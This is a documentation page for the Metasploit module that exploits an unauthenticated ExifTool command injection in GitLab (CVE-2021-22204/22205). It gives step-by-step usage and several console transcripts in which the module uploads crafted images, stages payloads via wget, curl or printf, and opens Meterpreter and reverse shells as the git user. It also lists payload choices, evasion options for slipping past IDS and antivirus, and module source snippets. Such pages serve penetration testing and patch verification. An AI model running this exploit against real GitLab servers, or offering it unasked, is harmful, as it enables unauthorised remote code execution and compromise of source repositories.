GitLab Unauthenticated Remote ExifTool Command Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/gitlab_exif_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: GitLab Unauthenticated Remote ExifTool Command Injection
Module: exploit/multi/http/gitlab_exif_rce
Source code: modules/exploits/multi/http/gitlab_exif_rce.rb
Disclosure date: 2021-04-14
Last modification time: 2021-11-03 10:51:37 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-22204, CVE-2021-22205
This module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/multi/http/gitlab_exif_rce
msf exploit(gitlab_exif_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8.
Exploitation will result in command execution as the git user.
Installation
GitLab 13.10.2 on Ubuntu 20.04.2 x64
- Download GitLab 13.10.2
- Install openssh-server (
sudo apt install openssh-server) - Install GitLab (
sudo dpkg -i gitlab-ce_13.10.2-ce.0_amd64.deb) - Modify the
external_urlin/etc/gitlab/gitlab.rbto something likeexternal_url http://localhost - Run
sudo gitlab-ctl reconfigure - Done!
Verification Steps
- Follow the above instructions to install GitLab 13.10.2
- Do:
use exploit/multi/http/gitlab_exif_rce - Do:
set RHOST <ip> - Do:
check - Verify the remote target is flagged as vulnerable
- Do:
set LHOST <ip> - Do:
set LPORT <port> - Do:
exploit - You should get a Meterpreter session.
Targets
0
By default, this targets GitLab with the reverse_openssl payload and returns a reverse shell.
1
By default, this target obtains a meterpreter session using wget. This target also supports
lwprequest, curl, and printf.
Options
TARGETURI
Specifies GitLab's base URI. Although an unpopular configuration, GitLab does support use of a relative URL.
Scenarios
GitLab 13.10.1 on Ubuntu 20.04.2 x64. Get Meterpreter session.
msf6 > use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf6 exploit(multi/http/gitlab_exif_rce) > check
[*] Uploading c6hn3KFIMqv.jpg to /D3iMLq
[+] 10.0.0.7:80 - The target is vulnerable. The error response indicates ExifTool was executed.
msf6 exploit(multi/http/gitlab_exif_rce) > options
Module options (exploit/multi/http/gitlab_exif_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.0.7 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf6 exploit(multi/http/gitlab_exif_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/agqzWrd49OBxPkC
[*] Local IP: http://10.0.0.9:8080/agqzWrd49OBxPkC
[*] Uploading S6uji8z.jpg to /6eKwYEoQ2O
[*] Client 10.0.0.7 (Wget/1.17.1 (linux-gnu)) requested /agqzWrd49OBxPkC
[*] Sending payload to 10.0.0.7 (Wget/1.17.1 (linux-gnu))
[*] Meterpreter session 1 opened (10.0.0.9:4444 -> 10.0.0.7:53056 ) at 2021-11-02 01:27:22 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: git
meterpreter > shell
Process 6936 created.
Channel 1 created.
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-workhorse
Similar to above, but using curl instead:
msf6 exploit(multi/http/gitlab_exif_rce) > run
[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/Iy9pWshQ8gakRvP
[*] Local IP: http://10.0.0.9:8080/Iy9pWshQ8gakRvP
[*] Uploading MMNlv9v.jpg to /hZXc5H1
[*] Client 10.0.0.7 (curl/7.74.0-DEV) requested /Iy9pWshQ8gakRvP
[*] Sending payload to 10.0.0.7 (curl/7.74.0-DEV)
[*] Meterpreter session 6 opened (10.0.0.9:4444 -> 10.0.0.7:50850 ) at 2021-11-02 11:51:42 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Server stopped.
meterpreter >
GitLab 13.10.2 on CentOS 8. Get reverse shell using printf / reverse_tcp
msf6 > use exploits/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf6 exploit(multi/http/gitlab_exif_rce) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > set CmdStager::Flavor printf
CmdStager::Flavor => printf
msf6 exploit(multi/http/gitlab_exif_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading W1tHrzXkK.jpg to /mopoTKJq
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x86/shell/reverse_tcp
[*] Uploading aVTK6SM33.jpg to /NySTvN3J
[+] Exploit successfully executed.
[*] Command Stager progress - 17.76% done (143/805 bytes)
[*] Uploading uOQXfShf.jpg to /0vHnowZA8ftJ
[+] Exploit successfully executed.
[*] Command Stager progress - 35.40% done (285/805 bytes)
[*] Uploading Ov2VCdIih.jpg to /NefATU
[+] Exploit successfully executed.
[*] Command Stager progress - 53.04% done (427/805 bytes)
[*] Uploading lYJsr5whY.jpg to /TOLaoA1q
[+] Exploit successfully executed.
[*] Command Stager progress - 70.68% done (569/805 bytes)
[*] Uploading MwuCYLqHh.jpg to /lMTzzMxXjFye
[+] Exploit successfully executed.
[*] Command Stager progress - 88.20% done (710/805 bytes)
[*] Uploading dkp8oskGlDJI.jpg to /VglvVbpx
[*] Sending stage (36 bytes) to 10.0.0.7
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (805/805 bytes)
[*] Command shell session 1 opened (10.0.0.9:4444 -> 10.0.0.7:48694 ) at 2021-11-03 08:34:02 -0700
id
uid=973(git) gid=972(git) groups=972(git) context=system_u:system_r:unconfined_service_t:s0
whoami
git
GitLab 13.10.2 on Ubuntu 20.04.2 x64. Get reverse shell.
msf6 > use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.3
RHOST => 10.0.0.3
msf6 exploit(multi/http/gitlab_exif_rce) > check
[*] Uploading bSjUnQsE.jpg to /Da8eKs2
[+] 10.0.0.3:80 - The target is vulnerable. The error response indicates ExifTool was executed.
msf6 exploit(multi/http/gitlab_exif_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
msf6 exploit(multi/http/gitlab_exif_rce) > set target 0
target => 0
msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf6 exploit(multi/http/gitlab_exif_rce) > exploit
[*] Started reverse double SSL handler on 10.0.0.9:4444
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Uploading 1SynV6Z.jpg to /9v3LPsOOBuH
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tZscWcue53S3jgeY;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tZscWcue53S3jgeY\n"
[*] Matching...
[*] B is input...
[+] Exploit successfully executed.
[*] Command shell session 1 opened (10.0.0.9:4444 -> 10.0.0.3:44304 ) at 2021-11-02 01:35:07 -0700
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-workhorse
GitLab 14.4.1 on Ubuntu 20.04.2 x64. Unable to exploit.
msf6 > use exploits/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf6 exploit(multi/http/gitlab_exif_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading NUvUyPiyKL3.jpg to /PT2hiCf47
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The error response indicates ExifTool was not run. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/gitlab_exif_rce) >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/gitlab_exif_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitlab_exif_rce) > show info
Name: GitLab Unauthenticated Remote ExifTool Command Injection
Module: exploit/multi/http/gitlab_exif_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-04-14
Provided by:
William Bowling
jbaines-r7
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8. Exploitation will result in command execution as the git
user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-22205
https://nvd.nist.gov/vuln/detail/CVE-2021-22204
https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
https://hackerone.com/reports/1154542
https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis
https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
Module Options
This is a complete list of options available in the multi/http/gitlab_exif_rce exploit:
msf6 exploit(multi/http/gitlab_exif_rce) > show options
Module options (exploit/multi/http/gitlab_exif_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the multi/http/gitlab_exif_rce exploit:
msf6 exploit(multi/http/gitlab_exif_rce) > show advanced
Module advanced options (exploit/multi/http/gitlab_exif_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, wget, lwprequest, curl, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3,
TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/gitlab_exif_rce module can exploit:
msf6 exploit(multi/http/gitlab_exif_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/gitlab_exif_rce exploit:
msf6 exploit(multi/http/gitlab_exif_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/chmod normal No Linux Chmod
21 payload/linux/x86/exec normal No Linux Execute Command
22 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
25 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
26 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
28 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
32 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
33 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
34 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
35 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
36 payload/linux/x86/read_file normal No Linux Read File
37 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
38 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
39 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
41 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
42 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
43 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
47 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
48 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
49 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
50 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/gitlab_exif_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/gitlab_exif_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
117: 'method' => 'GET',
118: 'uri' => normalize_uri(target_uri.path, '/users/sign_in')
119: })
120:
121: unless res
122: return CheckCode::Unknown('Target did not respond to check.')
123: end
124:
125: # handle two cases. First a normal install will respond with HTTP 200.
126: # Second, if the root password hasn't been set yet then this will
127: # redirect to the password reset page.
Not a GitLab web interface
Here is a relevant code snippet related to the "Not a GitLab web interface" error message:
125: # handle two cases. First a normal install will respond with HTTP 200.
126: # Second, if the root password hasn't been set yet then this will
127: # redirect to the password reset page.
128: unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
129: (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
130: return CheckCode::Safe('Not a GitLab web interface')
131: end
132:
133: res = upload_file(rand_text_alphanumeric(6..32))
134: unless res
135: return CheckCode::Detected('The target did not respond to the upload request.')
The target did not respond to the upload request.
Here is a relevant code snippet related to the "The target did not respond to the upload request." error message:
130: return CheckCode::Safe('Not a GitLab web interface')
131: end
132:
133: res = upload_file(rand_text_alphanumeric(6..32))
134: unless res
135: return CheckCode::Detected('The target did not respond to the upload request.')
136: end
137:
138: case res.code
139: when 422
140: if res.body.include?('The change you requested was rejected.')
The error response indicates ExifTool was executed.
Here is a relevant code snippet related to the "The error response indicates ExifTool was executed." error message:
136: end
137:
138: case res.code
139: when 422
140: if res.body.include?('The change you requested was rejected.')
141: return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
142: end
143: when 404
144: if res.body.include?('The page could not be found')
145: return CheckCode::Safe('The error response indicates ExifTool was not run.')
146: end
The error response indicates ExifTool was not run.
Here is a relevant code snippet related to the "The error response indicates ExifTool was not run." error message:
140: if res.body.include?('The change you requested was rejected.')
141: return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
142: end
143: when 404
144: if res.body.include?('The page could not be found')
145: return CheckCode::Safe('The error response indicates ExifTool was not run.')
146: end
147: end
148:
149: return CheckCode::Detected
150: end
The target replied with HTTP status <RES.CODE>. No reply was expected.
Here is a relevant code snippet related to the "The target replied with HTTP status <RES.CODE>. No reply was expected." error message:
168: res = upload_file(payload_header + cmd + payload_trailer, 5)
169:
170: # Successful exploitation can result in no response (connection being held open by a reverse shell)
171: # or, if the command executes immediately, a response with a 422.
172: if res && res.code != 422
173: fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
174: end
175:
176: print_good('Exploit successfully executed.')
177: end
178:
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Related Pull Requests
- #15847 Merged Pull Request: Fix bug in tab completion in case-sensitive situations
- #15820 Merged Pull Request: Fix named pipe pivoting
- #15834 Merged Pull Request: Add Exploit for CVE-2021-40449
- #15846 Merged Pull Request: Tab-complete for file downloads
- #15802 Merged Pull Request: Add Exploit for CVE-2021-38648 (OMIGOD LPE)
- #15844 Merged Pull Request: Add in new definitions to definitions.h
- #15845 Merged Pull Request: Don't getsystem if we are already SYSTEM
- #15840 Merged Pull Request: Give warning rather than failure when running DCSync as SYSTEM
- #15838 Merged Pull Request: sap_router_portscanner: rename validate function
- #15748 Merged Pull Request: Run metasploit in Kubernetes
- #15818 Merged Pull Request: Fix Partial WebSocket Reads
References
- CVE-2021-22205
- CVE-2021-22204
